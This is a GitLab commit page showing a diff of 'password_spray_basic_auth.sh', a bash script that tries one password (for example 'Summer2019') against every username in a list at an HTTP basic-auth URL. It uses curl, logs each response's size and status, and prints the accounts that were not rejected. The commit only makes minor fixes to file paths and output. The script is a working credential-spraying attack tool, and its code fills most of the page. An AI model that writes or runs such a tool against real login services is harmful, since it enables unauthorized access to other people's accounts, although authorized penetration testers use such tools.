Skip to content
GitLab
Projects
Groups
Snippets
Help
Loading...
Help
Help
Support
Community forum
Keyboard shortcuts
?
Submit feedback
Sign in
Toggle navigation
Open sidebar
Tim Rice
web_app
Commits
f4b527e2
Commit
f4b527e2
authored
5 years ago
by
Tim Rice
Browse files
Options
Download
Email Patches
Plain Diff
Update password_spray_basic_auth.sh
parent
f6821816
Changes
1
Hide whitespace changes
Inline
Side-by-side
Showing
1 changed file
with
8 additions
and
8 deletions
+8
-8
spray/password_spray_basic_auth.sh
spray/password_spray_basic_auth.sh
+8
-8
No files found.
spray/password_spray_basic_auth.sh
View file @
f4b527e2
#!/bin/bash
#########################################################################################
# Here is a simple password spray for a basic auth attack
#
#
#
# Usage thisscript.sh pathof_usernames.txt password_to_try URL
#
# I.e. ./thisscript.sh /tmp/usernames.txt Summer2019 https://website.com/login.php
#
# Here is a simple password spray for a basic auth attack
#
#
#
# Usage thisscript.sh pathof_usernames.txt password_to_try URL
#
# I.e. ./thisscript.sh /tmp/usernames.txt Summer2019 https://website.com/login.php
#
#########################################################################################
script
=
$(
basename
--
"
$0
"
)
...
...
@@ -14,12 +14,12 @@ if [[ -z $1 || -z $2 || -z $3 ]]
then
clear
&&
echo
"You failed to execute this script correctly:
Usage thisscript.sh pathof_usernames.txt password_to_try URL
I.e
$(
pwd
)
${
script
}
/tmp/usernames.txt Summer2019 https://website.com/login.php"
I.e
$(
pwd
)
/
${
script
}
/tmp/usernames.txt Summer2019 https://website.com/login.php"
exit
9
fi
rm
password_spray_results.txt
cat
/dev/null
>
/tmp/
password_spray_results.txt
INPUT
=
$1
...
...
@@ -31,7 +31,7 @@ do
curl
-s
-vvvv
-IL
--user
${
useraccount
}
:
${
2
}
${
3
}
-o
.curl 2>.curl2
size
=
$(
stat
--printf
=
"%s"
.curl
)
code
=
$(
cat
.curl |
grep
HTTP |
tail
-1
)
echo
"
$useraccount
,
$size
,
$code
"
>>
/tmp/password_spray_results.txt
echo
"
$useraccount
,
$size
,
$code
"
>>
/tmp/password_spray_results.txt
done
<
$INPUT
IFS
=
$OLDIFS
...
...
@@ -43,4 +43,4 @@ cat /tmp/password_spray_results.txt | grep -v Unauthorized | cut -d',' -f1
echo
"See results in /tmp/password_spray_results.txt file"
exit
0
\ No newline at end of file
exit
0
This diff is collapsed.
Click to expand it.
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
.
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment